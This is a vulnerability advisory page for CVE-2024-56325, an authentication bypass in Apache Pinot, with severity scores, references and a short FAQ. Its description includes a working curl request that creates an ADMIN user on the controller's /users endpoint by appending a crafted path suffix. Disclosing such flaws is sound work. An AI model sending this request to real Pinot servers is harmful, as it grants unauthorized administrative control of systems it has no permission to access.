CVE-2024-56325

Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required

Description

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

Category

9.8
CVSS
Severity: Critical
CVSS 3.1 •
EPSS 5.48% Top 15%
Vendor Advisory apache.org
Affected: Apache Software Foundation Apache Pinot
Published at:
Updated at:

References

Link Tags
https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v vendor advisory
http://www.openwall.com/lists/oss-security/2025/03/27/8

Frequently Asked Questions

What is the severity of CVE-2024-56325?
CVE-2024-56325 has been scored as a critical severity vulnerability.
How to fix CVE-2024-56325?
To fix CVE-2024-56325, make sure you are using an up-to-date version of the affected component(s) by checking the vendor release notes. As for now, there are no other specific guidelines available.
Is CVE-2024-56325 being actively exploited in the wild?
It is possible that CVE-2024-56325 is being exploited or will be exploited in a near future based on public information. According to its EPSS score, there is a ~5% probability that this vulnerability will be exploited by malicious actors in the next 30 days.
What software or system is affected by CVE-2024-56325?
CVE-2024-56325 affects Apache Software Foundation Apache Pinot.
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